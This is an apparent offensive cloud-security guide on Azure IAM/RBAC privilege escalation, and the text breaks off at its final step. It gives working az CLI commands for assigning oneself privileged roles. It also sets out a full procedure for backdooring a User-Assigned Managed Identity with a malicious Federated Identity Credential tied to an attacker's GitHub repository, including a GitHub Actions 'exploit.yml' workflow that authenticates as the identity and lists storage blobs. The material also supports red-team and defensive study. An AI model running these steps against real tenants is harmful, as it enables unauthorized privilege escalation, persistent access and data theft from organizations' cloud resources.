IAM & RBAC Explotation
Create new roles
The permission Microsoft.Authorization/roleAssignments/write is needed. This permission allows to create role assignments over a specific scope, allowing an attacker to escalate privileges by assigning himself or another controlled principal a more privileged role.
If the compromised principal has this action over a scope, it can directly grant a privileged role such as Owner, Contributor, Key Vault Secrets Officer, or any other built-in/custom role available in that scope:
az role assignment create \
--role "Storage Blob Data Owner" \
--assignee "$CLIENT_ID" \
--scope "/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Storage/storageAccounts/$STORAGE_ACCOUNT"
Federated Identity Credential Injection (UAMI Backdoor)
The permission Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write on a User-Assigned Managed Identity (UAMI) is enough to backdoor it. By injecting a Federated Identity Credential (FIC) that trusts an OIDC issuer you control (e.g. your own GitHub repository), you can mint access tokens as the UAMI from external infrastructure — no client secret, no certificate, no interactive login.
Pick a target UAMI and grab its identifiers
Pick a UAMI with interesting RBAC assignments (Storage Blob Data Reader, Key Vault Secrets User, Contributor on an RG, etc.). List role assignments per UAMI to spot juicy ones:
az identity list -o table
az role assignment list \
--assignee "$UAMI_CLIENT_ID" \
--all -o table
Grab the values you’ll need later to authenticate as it:
az identity show \
--name "$UAMI_NAME" \
--resource-group "$RG" \
--query "{clientId:clientId, tenantId:tenantId}"
Inject the malicious Federated Identity Credential
Create a GitHub repo under your account (public or private — irrelevant, only the OIDC sub claim matters).
Configure the UAMI to trust OIDC tokens issued by your repo:
az identity federated-credential create \
--identity-name "$UAMI_NAME" \
--resource-group "$RG" \
--name "pwned" \
--issuer "https://token.actions.githubusercontent.com" \
--subject "repo:$GH_USER/$GH_REPO:ref:refs/heads/main" \
--audiences "api://AzureADTokenExchange"
The
subjectmust match exactly thesubclaim GitHub puts in its OIDC token. Format:repo:<user>/<repo>:ref:refs/heads/<branch>. Other valid subjects:repo:<user>/<repo>:environment:<env>,repo:<user>/<repo>:pull_request.
Configure GitHub Actions
In the repo settings (Settings → Secrets and variables → Actions) add three repository secrets:
AZURE_CLIENT_ID-> UAMI’sclientIdAZURE_TENANT_ID-> UAMI’stenantIdAZURE_SUBSCRIPTION_ID-> target subscription ID
Drop a workflow at .github/workflows/exploit.yml:
name: Azure FIC Exploit
on:
push:
branches: [main]
permissions:
id-token: write
contents: read
jobs:
read-flag:
runs-on: ubuntu-latest
steps:
- name: Login en Azure via Federated Identity
uses: azure/login@v2
with:
client-id: $
tenant-id: $
subscription-id: $
- name: List blobs
run: |
az storage blob list \
--account-name <storage_account> \
--container-name <container-name> \
--auth-mode login \
-o table
permissions: id-token: writeis mandatory. Without it GitHub doesn’t issue the OIDC token andazure/loginfails with an auth error.
Trigger and collect
git push to main and check the Actions run. The login step shows: